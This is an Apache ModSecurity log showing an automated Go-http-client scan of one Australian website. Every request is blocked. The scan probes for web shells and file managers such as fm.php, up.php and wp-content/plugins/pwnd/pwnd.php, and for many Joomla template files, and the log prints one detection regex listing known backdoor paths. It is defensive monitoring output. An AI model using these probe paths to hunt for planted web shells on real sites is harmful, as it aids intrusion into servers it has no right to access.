[Thu Dec 11 00:01:09.265072 2025] [:error] [pid 37062:tid 37082] [client 172.98.33.6:50129] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aTmZRTB0I62HCw8Z5BSLtAAAABI"]
[Thu Dec 11 00:01:10.257977 2025] [:error] [pid 36976:tid 37031] [client 172.98.33.9:30501] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aTmZRiSpHW5KVaY9tJnipwAAANg"]
[Thu Dec 11 00:01:10.769610 2025] [:error] [pid 37062:tid 37087] [client 172.98.33.18:51215] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aTmZRjB0I62HCw8Z5BSLuAAAABc"]
[Thu Dec 11 00:01:13.165793 2025] [:error] [pid 49095:tid 49119] [client 172.98.33.13:47909] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aTmZScorr4Jt2Tfx_EY9gQAAAVY"]
[Thu Dec 11 00:01:15.766920 2025] [:error] [pid 49095:tid 49108] [client 45.132.115.253:39639] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aTmZS8orr4Jt2Tfx_EY9jQAAAUs"]
[Thu Dec 11 00:01:16.668771 2025] [:error] [pid 37062:tid 37069] [client 45.132.115.249:21329] [client 45.132.115.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aTmZTDB0I62HCw8Z5BSLvQAAAAU"]
[Thu Dec 11 00:01:18.663865 2025] [:error] [pid 36977:tid 37046] [client 172.98.33.7:44211] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aTmZTsc-JLl-uoL-Au7oIwAAAEw"]
[Thu Dec 11 00:01:19.475265 2025] [:error] [pid 49095:tid 49117] [client 45.132.115.246:22433] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aTmZT8orr4Jt2Tfx_EY9nQAAAVQ"]
[Thu Dec 11 00:01:20.665914 2025] [:error] [pid 37062:tid 37078] [client 172.98.33.5:40039] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/admin.php"] [unique_id "aTmZUDB0I62HCw8Z5BSLwgAAAA4"]
[Thu Dec 11 00:01:21.157947 2025] [:error] [pid 36977:tid 37055] [client 45.132.115.244:35135] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/administrator/templates/bluestork/error.php"] [unique_id "aTmZUcc-JLl-uoL-Au7oLAAAAFU"]
[Thu Dec 11 00:01:21.875354 2025] [:error] [pid 36976:tid 37023] [client 45.132.115.246:45803] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Yamato/index.php"] [unique_id "aTmZUSSpHW5KVaY9tJni3gAAANA"]
[Thu Dec 11 00:01:22.471693 2025] [:error] [pid 37062:tid 37065] [client 172.98.33.8:42901] [client 172.98.33.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/administrator/templates/isis/index.php"] [unique_id "aTmZUjB0I62HCw8Z5BSLxwAAAAE"]
[Thu Dec 11 00:01:23.553239 2025] [:error] [pid 36977:tid 37034] [client 172.98.33.5:65199] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez3/error.php"] [unique_id "aTmZU8c-JLl-uoL-Au7oOQAAAEA"]
[Thu Dec 11 00:01:24.466639 2025] [:error] [pid 36976:tid 37015] [client 172.98.33.6:55379] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Globy/index.php"] [unique_id "aTmZVCSpHW5KVaY9tJni7QAAAMg"]
[Thu Dec 11 00:01:25.179665 2025] [:error] [pid 36976:tid 37026] [client 45.132.115.246:43121] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/ja_purity/index.php"] [unique_id "aTmZVSSpHW5KVaY9tJni8gAAANM"]
[Thu Dec 11 00:01:26.363616 2025] [:error] [pid 36975:tid 36985] [client 172.98.33.17:36335] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/atomic/error.php"] [unique_id "aTmZVt_ZNQ3zMmb38BGYUwAAAIU"]
[Thu Dec 11 00:01:27.257741 2025] [:error] [pid 37062:tid 37081] [client 172.98.33.6:20429] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez5/index.php"] [unique_id "aTmZVzB0I62HCw8Z5BSL0AAAABE"]
[Thu Dec 11 00:01:28.058265 2025] [:error] [pid 49095:tid 49116] [client 45.132.115.246:49787] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Beez3/index.php"] [unique_id "aTmZWMorr4Jt2Tfx_EY98wAAAVM"]
[Thu Dec 11 00:01:29.661174 2025] [:error] [pid 49095:tid 49110] [client 45.132.115.244:60747] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/rhuk_solarflare_ii/index.php"] [unique_id "aTmZWcorr4Jt2Tfx_EY-AAAAAU0"]
[Thu Dec 11 00:01:30.463370 2025] [:error] [pid 49095:tid 49097] [client 172.98.33.19:27927] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Protostar/index.php"] [unique_id "aTmZWsorr4Jt2Tfx_EY-CAAAAUA"]
[Thu Dec 11 00:01:31.472694 2025] [:error] [pid 36976:tid 37009] [client 172.98.33.18:60333] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/rhuk_milkyway/index.php"] [unique_id "aTmZWySpHW5KVaY9tJnjDQAAAMI"]
[Thu Dec 11 00:01:33.171003 2025] [:error] [pid 36976:tid 37012] [client 45.132.115.248:29447] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/administrator/templates/isis/error.php"] [unique_id "aTmZXSSpHW5KVaY9tJnjEQAAAMU"]
[Thu Dec 11 00:01:34.760061 2025] [:error] [pid 36975:tid 37004] [client 172.98.33.7:65007] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez_20/index.php"] [unique_id "aTmZXt_ZNQ3zMmb38BGYXgAAAJg"]
[Thu Dec 11 00:01:35.557524 2025] [:error] [pid 36976:tid 37026] [client 172.98.33.5:22221] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Globy/error.php"] [unique_id "aTmZXySpHW5KVaY9tJnjGQAAANM"]
[Thu Dec 11 00:01:36.262017 2025] [:error] [pid 36976:tid 37007] [client 172.98.33.19:21397] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Protostar/error.php"] [unique_id "aTmZYCSpHW5KVaY9tJnjHgAAAMA"]
[Thu Dec 11 00:01:36.967890 2025] [:error] [pid 46868:tid 46890] [client 172.98.33.19:30175] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/administrator/templates/hathor/error.php"] [unique_id "aTmZYI3NdlN2GOOyBjGjhQAAARQ"]
[Thu Dec 11 00:01:37.666216 2025] [:error] [pid 49095:tid 49112] [client 172.98.33.7:63041] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Atomic/error.php"] [unique_id "aTmZYcorr4Jt2Tfx_EY-RQAAAU8"]
[Thu Dec 11 00:01:39.960743 2025] [:error] [pid 49095:tid 49104] [client 45.132.115.248:20553] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/isis/error.php"] [unique_id "aTmZY8orr4Jt2Tfx_EY-UgAAAUc"]
[Thu Dec 11 00:01:41.062640 2025] [:error] [pid 37062:tid 37079] [client 45.132.115.249:61019] [client 45.132.115.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Hoxa/error.php"] [unique_id "aTmZZTB0I62HCw8Z5BSL4gAAAA8"]
[Thu Dec 11 00:01:41.758991 2025] [:error] [pid 36976:tid 37012] [client 172.98.33.7:32809] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/BeginDot/error.php"] [unique_id "aTmZZSSpHW5KVaY9tJnjNAAAAMU"]
[Thu Dec 11 00:01:42.264073 2025] [:error] [pid 46868:tid 46884] [client 172.98.33.5:64417] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Raees/index.php"] [unique_id "aTmZZo3NdlN2GOOyBjGjlwAAAQ4"]
[Thu Dec 11 00:01:42.869522 2025] [:error] [pid 49095:tid 49097] [client 172.98.33.17:21977] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/madeyourweb/error.php"] [unique_id "aTmZZsorr4Jt2Tfx_EY-XwAAAUA"]
[Thu Dec 11 00:01:43.464181 2025] [:error] [pid 49095:tid 49106] [client 45.132.115.254:42707] [client 45.132.115.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Binv/error.php"] [unique_id "aTmZZ8orr4Jt2Tfx_EY-YgAAAUk"]
[Thu Dec 11 00:01:44.068307 2025] [:error] [pid 36975:tid 36984] [client 172.98.33.5:39551] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Beez2/index.php"] [unique_id "aTmZaN_ZNQ3zMmb38BGYbAAAAIQ"]
[Thu Dec 11 00:01:44.882769 2025] [:error] [pid 36977:tid 37044] [client 45.132.115.247:36767] [client 45.132.115.247] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Atum/error.php"] [unique_id "aTmZaMc-JLl-uoL-Au7olQAAAEo"]
[Thu Dec 11 00:01:45.361944 2025] [:error] [pid 46868:tid 46873] [client 45.132.115.250:57387] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/protostar/error.php"] [unique_id "aTmZaY3NdlN2GOOyBjGjnQAAAQM"]
[Thu Dec 11 00:01:46.062202 2025] [:error] [pid 46868:tid 46875] [client 172.98.33.8:61033] [client 172.98.33.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez_20/error.php"] [unique_id "aTmZao3NdlN2GOOyBjGjowAAAQU"]
[Thu Dec 11 00:01:46.559349 2025] [:error] [pid 36977:tid 37038] [client 172.98.33.11:22047] [client 172.98.33.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aTmZasc-JLl-uoL-Au7olwAAAEQ"]
[Thu Dec 11 00:01:47.061988 2025] [:error] [pid 36975:tid 36996] [client 172.98.33.10:23997] [client 172.98.33.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez3/jsstrings.php"] [unique_id "aTmZa9_ZNQ3zMmb38BGYbwAAAJA"]
[Thu Dec 11 00:01:47.758522 2025] [:error] [pid 36975:tid 36981] [client 45.132.115.244:53737] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/protostar/index.php"] [unique_id "aTmZa9_ZNQ3zMmb38BGYcwAAAIE"]
[Thu Dec 11 00:01:48.468202 2025] [:error] [pid 36975:tid 36982] [client 45.132.115.244:20091] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Atum/index.php"] [unique_id "aTmZbN_ZNQ3zMmb38BGYdAAAAII"]
[Thu Dec 11 00:01:49.059889 2025] [:error] [pid 37062:tid 37084] [client 45.132.115.247:53881] [client 45.132.115.247] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Beez3/error.php"] [unique_id "aTmZbTB0I62HCw8Z5BSL9wAAABQ"]
[Thu Dec 11 00:01:49.665663 2025] [:error] [pid 49095:tid 49100] [client 45.132.115.251:26631] [client 45.132.115.251] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Hoxa/index.php"] [unique_id "aTmZbcorr4Jt2Tfx_EY-cQAAAUM"]
[Thu Dec 11 00:01:51.259803 2025] [:error] [pid 36975:tid 37000] [client 172.98.33.20:23045] [client 172.98.33.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/isis/index.php"] [unique_id "aTmZb9_ZNQ3zMmb38BGYdgAAAJQ"]
[Thu Dec 11 00:01:52.160886 2025] [:error] [pid 36977:tid 37046] [client 172.98.33.15:27185] [client 172.98.33.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Aaika/error.php"] [unique_id "aTmZcMc-JLl-uoL-Au7ooQAAAEw"]
[Thu Dec 11 00:01:52.961610 2025] [:error] [pid 46868:tid 46886] [client 45.132.115.250:21115] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Binv/index.php"] [unique_id "aTmZcI3NdlN2GOOyBjGjrQAAARA"]
[Thu Dec 11 00:01:53.755335 2025] [:error] [pid 36975:tid 36997] [client 172.98.33.13:58529] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/JMart/error.php"] [unique_id "aTmZcd_ZNQ3zMmb38BGYeAAAAJE"]
[Thu Dec 11 00:01:54.467530 2025] [:error] [pid 36976:tid 37018] [client 172.98.33.18:24639] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Cassiopeia/error.php"] [unique_id "aTmZciSpHW5KVaY9tJnjQAAAAMs"]
[Thu Dec 11 00:01:55.661017 2025] [:error] [pid 36976:tid 37014] [client 172.98.33.12:31235] [client 172.98.33.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/atomic/index.php"] [unique_id "aTmZcySpHW5KVaY9tJnjQwAAAMc"]
[Thu Dec 11 00:01:56.662385 2025] [:error] [pid 36976:tid 37022] [client 172.98.33.4:49613] [client 172.98.33.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Beez5/error.php"] [unique_id "aTmZdCSpHW5KVaY9tJnjSgAAAM8"]
[Thu Dec 11 00:01:57.571722 2025] [:error] [pid 36977:tid 37044] [client 172.98.33.16:30657] [client 172.98.33.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Eatoreh/index.php"] [unique_id "aTmZdcc-JLl-uoL-Au7osQAAAEo"]
[Thu Dec 11 00:02:01.261628 2025] [:error] [pid 46868:tid 46890] [client 172.98.33.12:31931] [client 172.98.33.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/rhuk_milkyway/error.php"] [unique_id "aTmZeY3NdlN2GOOyBjGjtAAAARQ"]
[Thu Dec 11 00:02:02.262928 2025] [:error] [pid 36975:tid 37000] [client 172.98.33.9:42311] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/ja-helio-farsi/index.php"] [unique_id "aTmZet_ZNQ3zMmb38BGYhAAAAJQ"]
